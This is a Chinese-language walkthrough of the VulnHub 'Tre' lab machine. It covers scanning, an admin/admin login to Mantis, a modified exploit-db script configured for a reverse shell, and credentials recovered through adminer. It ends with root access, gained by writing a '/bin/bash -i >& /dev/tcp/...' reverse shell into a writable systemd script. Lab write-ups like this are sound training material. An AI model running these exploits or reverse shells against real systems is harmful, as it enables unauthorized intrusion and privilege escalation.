VulnHub-Tre

前言

  这是打靶训练的第30周,难度中,靶机下载

信息搜集

  nmap扫描结果

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
8082/tcp open  http    nginx 1.14.2

  80页面,就一张竹子图片
  
  使用dirsearch扫扫目录

[16:48:39] 200 -    5KB - /adminer.php
[16:48:48] 301 -  310B  - /cms  ->  http://10.16.122.12/cms/
[16:48:48] 302 -    0B  - /cms/  ->  site/
[16:49:02] 200 -  164B  - /index.html
[16:49:02] 200 -   87KB - /info.php
[16:49:24] 403 -  277B  - /server-status
[16:49:24] 403 -  277B  - /server-status/
[16:49:31] 401 -  459B  - /system

方法一

  adminer.php是个数据库连接网页
  
  cms找了找也没啥内容
  
  info.php是phpinfo页面,而来到system页面,要求输入密码
  
  使用admin admin弱口令,成功登录
  
  使用mantis搭建,searchsploit mantis找到了挺多个exp
  
  因为不知道版本,我就直接选择最新的exp,cp /usr/share/exploitdb/exploits/php/webapps/48818.py .,下面是修改后的内容

class exploit():	
	def __init__(self):
		self.s = requests.Session()
		self.headers = dict() # Initialize the headers dictionary
		self.headers = {"Authorization":"Basic YWRtaW46YWRtaW4="} # 认证过后的头部
		self.RHOST = "10.16.122.12" # 靶机 IP
		self.RPORT = "80" # 靶机 端口
		self.LHOST = "10.16.122.71" # 反弹 IP
		self.LPORT = "4444" # 反弹 端口
		self.verify_user_id = "1" # User id for the target account
		self.realname = "administrator" # Username to hijack
		self.passwd = "password" # New password after account hijack
		self.mantisLoc = "/system" # Location of mantis in URL

  在第5行多了一个headers的原因是,此页面是登录过来需要加上认证过后的头部,"Authorization":"Basic YWRtaW46YWRtaW4="内容f12后,在login_page.php头部里面。其实换成cookie头,也应该成功的,但我失败了,不知道为什么。
  
  执行后,成功反弹shell
  

方法二

  继续使用dirsearch扫描system目录,带上头部信息后,python dirsearch.py -u http://10.16.122.12/system --header="Authorization: Basic YWRtaW46YWRtaW4="

[17:21:24] 200 -    1KB - /system/api/
[17:21:31] 200 -  368B  - /system/composer.json
[17:21:31] 200 -   10KB - /system/composer.lock
[17:21:31] 301 -  320B  - /system/config  ->  http://10.16.122.12/system/config/
[17:21:31] 200 -    2KB - /system/config/
[17:21:33] 301 -  318B  - /system/core  ->  http://10.16.122.12/system/core/
[17:21:33] 301 -  317B  - /system/css  ->  http://10.16.122.12/system/css/
[17:21:36] 301 -  317B  - /system/doc  ->  http://10.16.122.12/system/doc/
[17:21:36] 200 -    2KB - /system/doc/
[17:21:40] 301 -  319B  - /system/fonts  ->  http://10.16.122.12/system/fonts/
[17:21:43] 301 -  320B  - /system/images  ->  http://10.16.122.12/system/images/
[17:21:43] 200 -    2KB - /system/images/

  得到了大量的目录,关键信息在/system/config/
  
  a.txt得到数据库信息
  
  在前面我们得到了数据库管理页面,通过上面的数据库信息,成功连接上数据库。并且在mantis_user_table表中获取到了账号
  
  tre的realname为Tr3@123456A!,这个更像是ssh连接账号。成功登录
  

方法三

  访问/system/verify.php?id=1&confirm_hash=可以重置管理员账号
  
  进入后台后,也能看到账号信息
  

提权

  查看拥有root权限,并且允许我们改的文件 find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc" | grep -v "/sys/fs/cgroup"
  
  查看check-system文件

DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
echo "Checking...";
sleep 1;
done

  来到etc目录后,查看有哪些文件使用了check-system文件,grep -Ri "check-system" . 2>/dev/null
  
  systemd是一个系统服务,会随着系统启动而启用。而它使用了check-system文件。如果在check-system文件里面加上反弹shell的话。那么重启电脑的时候,我们就可以获取拿到root权限了
  编辑check-system文件,插入反弹shell

DATE=`date '+%Y-%m-%d %H:%M:%S'`
echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
echo "Checking...";
/bin/bash -i >& /dev/tcp/10.16.122.71/1234 0>&1
sleep 1;
done

  同时也可以使用shutdown命令
  
  重启靶机sudo shutdown -r now,得到反弹shell
  

查看评论 -
评论